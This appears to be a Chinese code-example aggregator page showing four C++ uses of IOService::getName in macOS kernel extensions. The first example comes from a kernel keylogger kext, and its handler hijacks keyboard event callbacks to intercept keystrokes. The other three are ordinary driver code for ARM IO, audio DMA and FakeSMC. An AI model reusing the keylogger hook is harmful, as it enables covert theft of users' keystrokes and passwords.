本文整理汇总了C++中IOService::getName方法的典型用法代码示例。如果您正苦于以下问题:C++ IOService::getName方法的具体用法?C++ IOService::getName怎么用?C++ IOService::getName使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类IOService
的用法示例。
在下文中一共展示了IOService::getName方法的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: notificationHandler
bool com_prebeg_kext_KeyLog::notificationHandler(void *target, void *ref, IOService *newServ, IONotifier *notifier)
{
com_prebeg_kext_KeyLog* self = OSDynamicCast( com_prebeg_kext_KeyLog, (OSMetaClassBase*)target );
if (!self)
return false;
#ifdef DEBUG
IOLog( "%s::Notification handler called\n", self->getName() );
#endif
IOHIKeyboard* keyboard = OSDynamicCast( IOHIKeyboard, newServ );
if (!keyboard)
return false;
if (!keyboard->_keyboardEventTarget)
{
#ifdef DEBUG
IOLog( "%s::No Keyboard event target\n", self->getName());
#endif
return false;
}
// event target must be IOHIDSystem
IOService* targetServ = OSDynamicCast( IOService, keyboard->_keyboardEventTarget );
if (targetServ)
{
#ifdef DEBUG
IOLog( "%s::Keyboard event target is %s\n", self->getName(), targetServ->getName());
#endif
}
if (!keyboard->_keyboardEventTarget->metaCast("IOHIDSystem"))
return false;
// we have a valid keyboard to be logged
#ifdef DEBUG
IOLog( "%s::Adding keyboard %p\n", self->getName(),keyboard );
#endif
int index = self->loggedKeyboards->getNextIndexOfObject(keyboard,0);
if (index<0)
{
self->loggedKeyboards->setObject(keyboard);
self->kextKeys++;
}
origAction = keyboard->_keyboardEventAction; // save the original action
keyboard->_keyboardEventAction = (KeyboardEventAction) logAction; // apply the new action
origSpecialAction = keyboard->_keyboardSpecialEventAction; // save the original action
keyboard->_keyboardSpecialEventAction = (KeyboardSpecialEventAction) specialAction; // apply the new action
return true;
}
示例2: getResources
IOReturn ARMIODevice::getResources( void )
{
IOService *macIO = this;
if (getDeviceMemory() != 0) return kIOReturnSuccess;
while (macIO && ((macIO = macIO->getProvider()) != 0))
if (strcmp("arm-io", macIO->getName()) == 0) break;
if (macIO == 0) return kIOReturnError;
IODTResolveAddressing(this, "reg", macIO->getDeviceMemoryWithIndex(0));
return kIOReturnSuccess;
}
示例3:
// ----------------------------------------------------------------------------------------------------
IODBDMAChannelRegisters * PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( IOService * dbdmaProvider )
{
IOMemoryMap * map;
IOService * parentOfParent;
debugIOLog (3, "+ PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( %p )", dbdmaProvider );
FailIf ( NULL == dbdmaProvider, Exit );
debugIOLog (3, " i2s-x name is %s", dbdmaProvider->getName() );
parentOfParent = (IOService*)dbdmaProvider->getParentEntry ( gIODTPlane );
FailIf ( NULL == parentOfParent, Exit );
debugIOLog (3, " parent of %s is %s", dbdmaProvider->getName(), parentOfParent->getName() );
map = parentOfParent->mapDeviceMemoryWithIndex ( AppleDBDMAAudio::kDBDMAOutputIndex );
FailIf ( NULL == map, Exit );
mIOBaseDMAOutput = (IODBDMAChannelRegisters *) map->getVirtualAddress();
debugIOLog (3, " mIOBaseDMAOutput virtual address %p is at physical address %p", mIOBaseDMAOutput, (void*)map->getPhysicalAddress() );
if ( NULL == mIOBaseDMAOutput )
{
debugIOLog (1, " PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress IODBDMAChannelRegisters NOT IN VIRTUAL SPACE" );
}
Exit:
debugIOLog (3, "- PlatformInterfaceDBDMA_Mapped::GetOutputChannelRegistersVirtualAddress ( %p ) returns %p", dbdmaProvider, mIOBaseDMAOutput );
return mIOBaseDMAOutput;
}
示例4: HWSensorsErrorLog
FakeSMCKey *FakeSMCDevice::addKeyWithHandler(const char *name, const char *type, unsigned char size, IOService *handler)
{
KEYSLOCK;
FakeSMCKey *key;
if ((key = getKey(name))) {
IOService *existedHandler = key->getHandler();
if (getHandlingPriority(handler) < getHandlingPriority(existedHandler)) {
HWSensorsErrorLog("key %s already handled with prioritized handler %s", name, existedHandler ? existedHandler->getName() : "*Unreferenced*");
key = 0;
}
else {
HWSensorsInfoLog("key %s handler %s has been replaced with new prioritized handler %s", name, existedHandler ? existedHandler->getName() : "*Unreferenced*", handler ? handler->getName() : "*Unreferenced*");
key->setType(type);
key->setSize(size);
key->setHandler(handler);
}
}
else {
FakeSMCDebugLog("adding key %s with handler, type: %s, size: %d", name, type, size);
if ((key = FakeSMCKey::withHandler(name, type, size, handler))) {
keys->setObject(key);
updateKeyCounterKey();
}
else {
HWSensorsErrorLog("failed to create key %s", name);
}
}
KEYSUNLOCK;
return key;
}